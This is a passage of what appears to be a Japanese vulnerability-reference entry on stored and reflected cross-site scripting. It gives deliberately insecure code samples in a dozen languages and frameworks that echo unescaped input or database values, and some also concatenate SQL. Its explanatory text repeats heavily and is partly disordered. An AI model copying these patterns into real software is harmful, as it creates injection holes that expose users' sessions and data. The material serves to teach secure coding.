eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + row["emp"]')
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。
...
DATA: BEGIN OF itab_employees,
eid TYPE employees-itm,
name TYPE employees-name,
END OF itab_employees,
itab LIKE TABLE OF itab_employees.
...
itab_employees-eid = '...'.
APPEND itab_employees TO itab.
SELECT *
FROM employees
INTO CORRESPONDING FIELDS OF TABLE itab_employees
FOR ALL ENTRIES IN itab
WHERE eid = itab-eid.
ENDSELECT.
...
response->append_cdata( 'Employee Name: ').
response->append_cdata( itab_employees-name ).
...
name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースの内容はアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。eid を HTTP リクエストから読み取り、ユーザーに表示します。
...
eid = request->get_form_field( 'eid' ).
...
response->append_cdata( 'Employee ID: ').
response->append_cdata( eid ).
...
Example 1 と同様に、このコードは、eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。Example 1 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 2 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。
stmt.sqlConnection = conn;
stmt.text = "select * from emp where id="+eid;
stmt.execute();
var rs:SQLResult = stmt.getResult();
if (null != rs) {
var name:String = String(rs.data[0]);
var display:TextField = new TextField();
display.htmlText = "Employee Name: " + name;
}
name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースの内容はアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。eid を HTTP リクエストから読み取り、ユーザーに表示します。
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var eid:String = String(params["eid"]);
...
var display:TextField = new TextField();
display.htmlText = "Employee ID: " + eid;
...
Example 1 と同様に、このコードは、eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。Example 1 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 2 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。
...
variable = Database.query('SELECT Name FROM Contact WHERE id = ID');
...
<div onclick="this.innerHTML='Hello {!variable}'">Click me!</div>
name の値が単なる英数字のように適切に定義されている場合はこのコードが正しく動作しますが、悪意のあるデータのチェックは行われません。データベースの内容はユーザー指定のデータから取得されることがあるため、データベースから読み取る場合でも値を適切に検証する必要があります。このように、攻撃者はリフレクト XSS でのように攻撃対象者とやり取りしなくても、ユーザーの Web ブラウザ内で悪意のあるコマンドを実行することができます。このタイプの攻撃はストアド XSS (または持続型 XSS) と呼ばれていて、データが脆弱な関数に間接的に提供されるため、検出するのが非常に困難な場合があります。また、複数のユーザーに影響する可能性があるため、影響が大きくなることもあります。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含め、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。username を読み取って、ユーザーに表示します。
<script>
document.write('{!$CurrentPage.parameters.username}')
</script>
username にメタ文字またはソース コードが含まれている場合、コードは Web ブラウザで実行されます。Example 1 に示すように、データベースなどのデータ ストアからアプリケーションに危険なデータが提供され、動的コンテンツに追加されることがあります。攻撃者の立場からすると、悪意のあるコンテンツを保存するのに最適な場所は、すべてのユーザー (特に、高い権限を持つ、機密情報の処理や重要な操作を実行する可能性の高いユーザー) がアクセスできる領域です。Example 2 に示すように、データが HTTP リクエストから読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS は、攻撃者が脆弱な Web アプリケーションに危険なコンテンツを配信し、それをユーザーに反映して、ユーザーのブラウザで実行するように設定できる場合に発生します。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は攻撃対象者をこの URL に誘い込みます。コンテンツがユーザーに戻されてサイトに反映されると、コンテンツが実行され、攻撃対象者のコンピュータから個人の機密情報を転送する、不正な操作を実行する、などの複数の操作が実行可能になります。
<script runat="server">
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
</script>
EmployeeName は、次のように定義されるフォーム コントロールです。例 2: 次の ASP.NET コードセグメントは、
<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
Example 1 と機能的には同じですが、すべてのフォーム要素をプログラミングによって実装しています。
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
name の値の動作が適切であればこれらのコード例は正しく動作しますが、そうでない場合は悪用を阻止できません。このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースの内容はアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。
<script runat="server">
...
EmployeeID.Text = Login.Text;
...
</script>
Login および EmployeeID は、次のように定義されるフォーム コントロールです。例 4: 次の ASP.NET コードセグメントは、
<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
Example 3 をプログラミングで実装する方法を示しています。
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
Example 1 や Example 2 のような例では、Login に標準の英数字テキストだけが含まれている場合に正しく動作します。Login の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。Example 1 および Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 3 や Example 4 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。
...
EXEC SQL
SELECT NAME
INTO :ENAME
FROM EMPLOYEE
WHERE ID = :EID
END-EXEC.
EXEC CICS
WEB SEND
FROM(ENAME)
...
END-EXEC.
...
ENAME の値の動作が適切であれば、この例のコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。ENAME の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、ENAME の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。ストアド XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。EID を HTML フォームから読み取り、ユーザーに表示します。
...
EXEC CICS
WEB READ
FORMFIELD(ID)
VALUE(EID)
...
END-EXEC.
EXEC CICS
WEB SEND
FROM(EID)
...
END-EXEC.
...
Example 1 と同様に、このコードは、EID に標準の英数字テキストだけが含まれている場合に正しく動作します。EID の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。Example 1 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。攻撃者が以下を行う場合に、保存された XSS の悪用が発生します Example 2 に示すように、データが HTML フォームから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。
<cfquery name="matchingEmployees" datasource="cfsnippets">
SELECT name
FROM Employees
WHERE eid = '#Form.eid#'
</cfquery>
<cfoutput>
Employee Name: #name#
</cfoutput>
name の値の動作が適切であれば、この例のコードは正しく動作しますが、そうでない場合は悪用を阻止できません。このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースの内容はアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。eid を Web フォームから読み取りユーザーに表示します。
<cfoutput>
Employee ID: #Form.eid#
</cfoutput>
Example 1 と同様に、このコードは、Form.eid に標準の英数字テキストだけが含まれている場合に正しく動作します。Form.eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。Example 1 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 2 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。user を HTTP リクエストから読み取り、ユーザーに表示します。
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", user)
}
user に標準の英数字テキストだけが含まれている場合に正しく動作します。user の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", name)
}
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザーで攻撃者が悪意あるコマンドを実行することがあります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターに「ゲストブック」を提供している Web サイトで、次のような形式で開始されます。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険なコンテンツを入力させられてしまい、それがユーザーに送り返されて Web ブラウザーにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意あるコンテンツを実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりすることがあります。
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>
Employee Name: <%= name %>
name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースの内容はアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。eid を HTTP リクエストから読み取ってユーザーに表示します。
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
Example 1 と同様に、このコードは、eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(url);
...
url の値が javascript: から始まる場合、それに続く JavaScript コードが WebView 内の Web ページのコンテキストから実行されます。Example 1 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 2 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 3 に示したように、アプリケーション外のソースで危険なデータがデータベースやその他のデータストアに格納され、その危険なデータが信頼されているデータとしてアプリケーションに読み込まれ、動的コンテンツに含まれる場合。
var http = require('http');
...
function listener(request, response){
connection.query('SELECT * FROM emp WHERE eid="' + eid + '"', function(err, rows){
if (!err && rows.length > 0){
response.write('<p>Welcome, ' + rows[0].name + '!</p>');
}
...
});
...
}
...
http.createServer(listener).listen(8080);
name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースの内容はアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。eid を HTTP 要求から読み取ってユーザーに表示します。
var http = require('http');
var url = require('url');
...
function listener(request, response){
var eid = url.parse(request.url, true)['query']['eid'];
if (eid !== undefined){
response.write('<p>Welcome, ' + eid + '!</p>');
}
...
}
...
http.createServer(listener).listen(8080);
Example 1 と同様に、このコードは、eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。Example 1 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 2 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。
...
val stmt: Statement = conn.createStatement()
val rs: ResultSet = stmt.executeQuery("select * from emp where id=$eid")
rs.next()
val name: String = rs.getString("name")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee Name: $name")
...
out.close()
...
name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースの内容はアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。eid を HTTP サーブレット リクエストから読み取ってから、サーブレットのレスポンスでユーザーに値を表示します。
val eid: String = request.getParameter("eid")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee ID: $eid")
...
out.close()
...
Example 1 と同様に、このコードは、eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(url)
...
